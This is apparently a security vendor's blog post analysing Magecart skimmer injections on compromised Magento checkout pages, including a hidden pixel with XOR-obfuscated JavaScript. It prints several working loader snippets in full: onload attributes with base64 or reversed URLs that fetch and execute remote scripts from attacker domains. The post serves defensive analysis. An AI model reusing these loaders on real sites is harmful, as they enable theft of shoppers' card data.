MageCart infections most often come in the form of complex, obfuscated JavaScript injected into Magento database tables such as core_config_data, or as malicious plugins or core file injections installed into WordPress / WooCommerce environments (which are increasingly common, and may be due to antivirus programs increasing their detection rate on compromised checkout pages).
However, a little less frequently we find skimmers hidden in plain sight. During a recent website cleanup of a compromised Magento ecommerce website we caught something that was quite interesting: Credit card theft malware that was concealed through a single, invisible pixel.
In this post we’re going to be exploring how the attackers were able to use a single hidden pixel as a red herring to conceal a broader infection on a checkout page and review a collection of other similar Magecart attacks. We’ll also detail what you can do to avoid being caught up in such an infection — either as a visitor or website owner.
Locating the invisible pixel
The first thing we typically do when investigating cases of credit card theft on ecommerce websites is view the source of the checkout page. Although the majority of MageCart malware that we see today manifests in the form of malicious WordPress plugins and other backend, PHP-based infections, plenty of credit card theft malware still loads as JavaScript on the checkout page after you’ve added an item to the shopping cart and are ready to input your credit card information to the retailer (and, incidentally, also to the attackers).
The first MageCart injection that we identified was pretty standard obfuscated JavaScript that we frequently see on compromised checkout pages:
However, while browsing through the view-source we came across another curious item buried below a few dozen empty/blank lines:
This definitely looks curious — but what exactly is it doing and why is it there?
It appears that the content was injected into one of the custom “checkout page description” fields in the Magento administrator panel, and the fact that it was lodged under many empty lines is certainly cause for suspicion:
Let’s break apart this code and see if we can figure out what’s going on here.
Analysis of “checkout page description” injected content
First off we can see that this is an image using a width and height of 0, thereby making it invisible to the website visitor. The image is also configured as a base64-encoded value, and when we translate that information to an image we get a single white pixel:
Single pixels like this are not actually uncommon on the web, most notoriously through tracking pixels which are used on millions of websites.
Following the invisible pixel in the sample above we see a JavaScript function containing a series of characters which frankly looks mostly like gibberish, except the telltale string buried in the middle “xor“.
What is XOR?
XOR is one of the most simple forms of obfuscation and encoding. It is not considered a secure method of encryption by modern standards, but can be used for quick and simple tasks that require a little bit of obfuscation (as a treat).
The basic idea is that you take each character in a string (or each byte in a piece of data) and “XOR” it with a specific value or “key”. Each number and character has a certain binary value, and the binary value of the key that you’ve chosen is used to “scramble” the binary value of the string that you wish to encode, usually resulting in something that looks like rubbish.
The reason why XOR is not considered particularly secure is because all the heavy lifting is being done by the chosen “key” character, so if whomever is trying to decode the content knows, or is able to guess or otherwise brute force the key, the encryption can be easily broken.
Decoding XOR
The XOR key was hard coded into the sample, and sitting right in front of us — the number 3:
Let’s build ourselves a simple decoder to see if we can unmask what is hiding here, shall we?
Here we’ve whipped up some quick JavaScript which uses the key “3” to decode the string of rubbish using console.log — since we suspect this is malicious, we will of course use a safe, isolated sandbox to run this in (safety first!).
When we run it, the results are as follows:
Definitely a questionable looking domain. Running a quick whois over it reveals that it’s only a few months old (always a red flag in these types of cases).
Domain Name: scdnstation[.]org Registry Domain ID: 1997276a32fd42a5b37cf49657df5faf-LROR Registrar WHOIS Server: http://whois.publicdomainregistry.com Registrar URL: http://www.publicdomainregistry.com Updated Date: 2023-02-11T15:40:38Z Creation Date: 2023-02-06T15:40:22Z
Moreover, when checking the domain in VirusTotal we can clearly see that they’ve been up to no good:
Grabbing the content from that “api” URL on the malicious domain doesn’t appear to provide anything that looks overtly malicious. Instead, it just appears to load fake analytics tracking code from Klaviyo/Shopify. However, this is likely just a decoy.
Modern MageCart attacks will often only deploy their malware under specific circumstances, and will only produce the skimming malware if certain conditions are met — like, if the http-referrer contains the string “checkout”.
The pixel attack
But how can credit card theft malware even load like this? How does it execute in the browser from a single pixel?
Let’s explore that here!
First, the invisible pixel is simply used as a trigger to load and execute the JavaScript code. Since it is a 1×1 invisible pixel and has its height and width set to zero, it makes it difficult for the victim to even know that it is there in the first place, or that the checkout page was tampered with.
Next, the onload attribute of the JavaScript ensures that the code is executed as soon as the image “loads”. Since it is such a tiny, hardcoded image that doesn’t require any HTTP requests that would be nearly instantaneous. The XOR encoding makes it difficult to understand at face value what it is doing.
As soon as the pixel loads, it creates a new XMLHttpRequest to fetch the additional code from the malicious domain. Once the request is successful, the fetched JavaScript code in “xhr.response” is dynamically executed using:
new Function((xhr.response)).call(this);
The payload will then harvest the information submitted into the checkout fields of the infected ecommerce website, usually things such as credit card numbers, names, addresses, and more. These are then of course sold on the black market, in turn lining the pockets of the thieves.
Other examples of malware concealed in pixels and images
Although the usage of XOR to conceal the payload in the hidden pixel seems to be quite novel, this is certainly not the first time that we’ve witnessed such website infections. In fact, it appears to be a continuation of already-existing techniques that we have seen leveraged for quite some time.
Let’s take a look at some other examples!
Executing malware with legit images
<li><img alt="payment_icons" class="lazy" height="41" width="310" onload="new Function(atob('c2V0VGltZW91dChmdW5jdGlvbigpe2lmKHR5cGVvZiBqUXVlcnkhPT0idW5kZWZpbmVkIil7alF1ZXJ5LmdldFNjcmlwdCgiaHR0cHM6Ly9qcy5oZWxwc2NvdW50Lm5ldC9saWIvc2NyaXB0cy5qcyIsZnVuY3Rpb24oKXtqUXVlcnkoImltZ1thbHQ9cGF5bWVudF9pY29uc10iKS5yZW1vdmVBdHRyKCJvbmxvYWQiKX0pO319LDEwMDAp'))()" data-src="{{media url='wysiwyg/footer_image/payment-icons.webp'}}" /></li>
Decoded payload:
setTimeout(function(){if(typeof jQuery!=="undefined"){jQuery.getScript("hxxps://js[.]helpscount[.]net/lib/scripts.js",function(){jQuery("img[alt=payment_icons]").removeAttr("onload")});}},1000)
In the above sample, we also see a credit card skimmer loading through an image, albeit much larger than one single pixel. We can see that it uses lazy-loading, which means that the image is only loaded when it’s about to be visible on the user’s screen. It also uses the onload attribute, which executes the malicious script when the image has fully loaded in the victim’s browser.
Notice the deliberate misspelling of “helpscout” — a popular help-desk software company. Attackers often use small “typos” in domain names to appear legitimate.
Reverse JavaScript onload image
<img id="main-logo" src="https://[redacted].com/skin/frontend/default/theme566/images/[REDACTED].jpg" onload=' (function () { setTimeout(function () { if (typeof jQuery !== "undefined") { jQuery.getScript(("sj.niam/egats/ten.scitylanacba.www//:sptth").split("").reverse().join(""), function (data, textStatus, jqxhr) { jQuery("#main-logo").remove(); jQuery(".onestepcheckout-description").text(jQuery(".onestepcheckout-description").text().trim()) }) } }, 4000); })();' width="0" height="0">
Decoded payload:
hxxps://www[.]abcanalytics[.]net/stage/main.js
Here we have another MageCart injection using the onload attribute to load into the browser when an image is loaded; again, using a width and height of 0, rendering it invisible. Additionally, the onload script removes the image the moment it is loaded.
As you can see above, the URL is reversed, and interestingly a setTimeout function is used to delay the execution of the contents by 4 seconds. Many of these types of Magecart infections seem to delay their execution by a few seconds, and this is likely an attempt to avoid detection and fly under the radar.
Fake Google Ads pixel tracker
<div style="display:inline;"> <img height="1" width="1" style="border-style:none;" alt="googleads_doubleclick" src="//googleads.g.doubleclick.net/pagead/viewthroughconversion/816570856/?guid=ON" onload="new self.Function(atob('c2V0VGltZW91dChmdW5jdGlvbigpe2pRdWVyeS5nZXRTY3JpcHQoImh0dHBzOi8vd3d3Lm9tbml3b3JrZWQuY29tL3N0YXRpYy9idW5kbGUuanMiLGZ1bmN0aW9uKCl7alF1ZXJ5KCJpbWdbYWx0PWdvb2dsZWFkc19kb3VibGVjbGlja10iKS5yZW1vdmVBdHRyKCJvbmxvYWQiKX0pfSwgMzAwMCk='))()"/>
Decoded payload:
setTimeout(function(){jQuery.getScript("hxxps://www[.]omniworked[.]com/static/bundle.js",function(){jQuery("img[alt=googleads_doubleclick]").removeAttr("onload")})}, 3000)
Another 1×1 pixel, this time pretending to be Google Ads / DoubleClick. Attackers are again using one of their favourite functions atob to conceal the payload in a base64 encoded chunk. Once this one loads into the victims browser, the onload attribute is removed.
Bogus link tag
<link id="main_style" rel="stylesheet" type="text/css" href="https://cdn.[REDACTED].co.in/media/porto/web/css/custom.css" media="all" onload="new self.Function(atob('c2V0VGltZW91dChmdW5jdGlvbigpe2pRdWVyeS5nZXRTY3JpcHQoImh0dHBzOi8vbHMubWFya2J1bmRsZS5jb20vdjEvbWFpbi5qcyIsZnVuY3Rpb24oKXtqUXVlcnkoIiNtYWluX3N0eWxlIikucmVtb3ZlKCl9KX0sIDIwMDAp'))()">
Decoded payload:
setTimeout(function(){jQuery.getScript("hxxps://ls[.]markbundle[.]com/v1/main.js",function(){jQuery("#main_style").remove()})}, 2000)
Here we have a similar injection to the others, but this time using <link> tags rather than image tags. The payload is also found lodged within a bogus CSS template. Similar to the other examples, the onload function executes the external, malicious JavaScript when the “CSS” file is loaded, and then removes the link element after it has done its dirty work. This is likely an attempt to clean up and hide the evidence of its execution.
Hidden footer links span
<span id="footer-links-scr" style="visibility:hidden"> <script type="28fbe22eb89608be62943426-text/javascript">(function(){var po=document.createElement('script');po.type='text/javascript';po.async=true;po.src=("sj.pam/daegap/gro.tciderpacp.citats//:sptth").split("").reverse().join("");var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(po,s);setTimeout(function(){var el_=document.getElementById("footer-links-scr");if(el_){if(el_.parentElement){el_.parentElement.removeChild(el_);}}})})();</script></span>
Decoded payload:
hxxps://static[.]pcapredict[.]org/pagead/map.js
Here we have another example which uses visibility:hidden to try to conceal itself from the user. It also obfuscates the domain where the malicious payload is located by reversing it. This time, the example uses the <span> HTML tag, which is intended to mark up part of text as an inline element.
This variation doesn’t contain any delay in the execution, and is invoked immediately once the browser encounters it. Similar to the other examples, the span element is removed once the execution is complete to try to conceal itself further.
Protecting your site (and yourself) from credit card skimmers
Ecommerce websites are frequent targets for attackers given the sensitive (and profitable) information that they handle. Magento in particular is a complicated beast with many moving parts (so to speak), and it’s not entirely uncommon for Adobe to issue critical security patches to the CMS platform.
If you are a website visitor, consider using a script-blocking extension such as NoScript. This can allow you to see if there are any questionable resources loading on a checkout page. Also, be sure to run a robust antivirus program as these can also alert you to any skimming attacks that are currently underway.
Website owners should take the following precautions to protect your online stores from ecommerce malware:
- Regularly update all website software, including CMS, plugins, themes, and other third party components.
- Use strong and unique passwords for all of your accounts. That includes admins, sFTP, and database credentials.
- Only use third-party JavaScript from reputable sources. Be selective about any third party scripts you choose to add to your site.
- Monitor your website for indicators of compromise, malware, and unauthorized access or changes.
- Implement a web application firewall to block bad bots, virtually patch against known vulnerabilities, and filter malicious packets to your server and website.
- Set up a Content Security Policy (CSP) header on your ecommerce store to help add an additional layer of protection from clickjacking, cross-site scripting (XSS), and other threats.
If you believe your ecommerce website has already been infected, we’re here to help! Our analysts are available 24/7 to help clean up malware from your website and secure it from future ecommerce threats!